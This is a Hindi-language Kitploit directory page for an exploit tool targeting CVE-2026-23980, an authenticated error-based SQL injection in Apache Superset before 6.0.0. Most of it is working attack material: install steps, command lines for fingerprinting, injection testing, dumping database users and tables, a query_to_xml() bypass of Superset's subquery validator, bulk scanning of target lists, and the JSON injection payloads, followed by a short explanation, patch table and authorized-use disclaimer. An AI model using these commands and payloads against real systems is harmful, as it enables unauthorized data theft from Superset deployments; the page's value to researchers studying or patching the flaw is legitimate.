Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-23980-Exploit — CVE-2026-23980 के लिए एक्सप्लॉइट — Apache Superset < 6.0.0 में sqlExpression बायपास के माध्यम से प्रमाणित एरर-आधारित SQL इंजेक्शन | Kitploit
उपकरण/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
टोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

CVE-2026-23980 के लिए एक्सप्लॉइट — Apache Superset < 6.0.0 में sqlExpression बायपास के माध्यम से प्रमाणित एरर-आधारित SQL इंजेक्शन

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-23980 - Apache Superset प्रमाणित SQL इंजेक्शन

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression सीधे क्वेरी में जाता है। कोई पैरामीटराइजेशन नहीं। कोई उम्मीद नहीं।

Apache Superset < 6.0.0 पढ़ने की पहुंच वाले प्रमाणित उपयोगकर्ताओं को /api/v1/chart/data एंडपॉइंट में sqlExpression या where पैरामीटर के माध्यम से त्रुटि-आधारित SQL इंजेक्शन करने की अनुमति देता है।

validate_adhoc_subquery() फ़िल्टर को PostgreSQL XML फ़ंक्शन (query_to_xml, आदि) का उपयोग करके बायपास किया जाता है, जो SQL को फ़ंक्शन तर्क के रूप में निष्पादित करते हैं, जो sqlparse टोकनाइज़र के लिए अदृश्य होते हैं।

  • CVSS: 6.5 मध्यम (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (SQL इंजेक्शन)
  • प्रभावित: Apache Superset < 6.0.0
  • ठीक किया गया: Apache Superset 6.0.0
  • प्रमाणीकरण आवश्यक: हाँ (पढ़ने की पहुंच)
  • डेटाबेस: PostgreSQL (त्रुटि-आधारित निष्कर्षण)

हमला श्रृंखला

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> adhoc कॉलम sqlExpression / extras.where इंजेक्ट किया गया
  -> validate_adhoc_subquery() query_to_xml() के माध्यम से बायपास किया गया
  -> कच्चा SQL PostgreSQL तक पहुँचता है
  -> CAST((...) AS INT) त्रुटि प्रतिक्रिया में डेटा लीक करती है

इंस्टॉलेशन

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

उपयोग

रिकॉन - फ़िंगरप्रिंट और डेटासोर्स की गणना

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

जाँचें कि डेटासोर्स इंजेक्टेबल है या नहीं

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

त्रुटि-आधारित SQLi के माध्यम से डेटा निकालें

root@kitploit:~
# डेटाबेस संस्करण
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# डेटाबेस उपयोगकर्ता
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# तालिकाओं की सूची
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# वर्तमान उपयोगकर्ता
python3 exploit.py ... --sql "SELECT current_user"

query_to_xml() के साथ सबक्वेरी सत्यापन बायपास करें

जब validate_adhoc_subquery() आपकी क्वेरी को ब्लॉक करता है (FROM/JOIN का पता लगाता है):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

यह क्वेरी को query_to_xml() में लपेटता है जो FROM क्लॉज़ को टोकनाइज़र से छिपाता है।

कई पंक्तियाँ डंप करें

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

WHERE इंजेक्शन पॉइंट का उपयोग करें

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

बल्क स्कैन

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Burp के माध्यम से प्रॉक्सी

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

यह कैसे काम करता है

इंजेक्शन वेक्टर

sqlExpression (डिफ़ॉल्ट) - कॉलम परिभाषा में इंजेक्ट किया गया:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - extras.where क्लॉज़ में इंजेक्ट किया गया:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

त्रुटि-आधारित निष्कर्षण

एक्सप्लॉइट डेटा लीक करने के लिए PostgreSQL के टाइप कास्टिंग का उपयोग करता है:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL स्ट्रिंग को पूर्णांक में परिवर्तित नहीं कर सकता, इसलिए यह त्रुटि फेंकता है:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

लीक किया गया मान API प्रतिक्रिया में त्रुटि संदेश से पार्स किया जाता है।

सत्यापन बायपास

Superset का has_table_query() सबक्वेरी का पता लगाने के लिए FROM/JOIN स्कैन करता है। PostgreSQL का query_to_xml() SQL निष्पादित करता है लेकिन इसे फ़ंक्शन तर्क के रूप में छिपाता है:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

टोकनाइज़र एक फ़ंक्शन कॉल देखता है, FROM क्लॉज़ नहीं, जिससे फ़िल्टर बायपास हो जाता है।

पैच विश्लेषण

संस्करण

संदर्भ

  • NVD - CVE-2026-23980
  • Apache सलाह
  • Quarkslab - Superset SQLi प्रतिबंध बायपास
  • OSS सुरक्षा
  • CVE-2025-48912 - संबंधित RLS बायपास

अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा अनुसंधान के लिए है। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है। लेखक दुरुपयोग के लिए ज़िम्मेदार नहीं है।

टूल डाउनलोड करें
स्थिति
< 4.0.2असुरक्षित (कोई XML फ़ंक्शन डेनीलिस्ट नहीं)
4.0.2आंशिक सुधार (CVE-2024-39887 - डेनीलिस्ट में कुछ XML फ़ंक्शन जोड़े गए)
4.1.0विस्तारित डेनीलिस्ट (अधिक XML फ़ंक्शन)
4.1.2पंक्ति-स्तरीय सुरक्षा बायपास ठीक किया गया (CVE-2025-48912)
6.0.0CVE-2026-23980 के लिए पूर्ण सुधार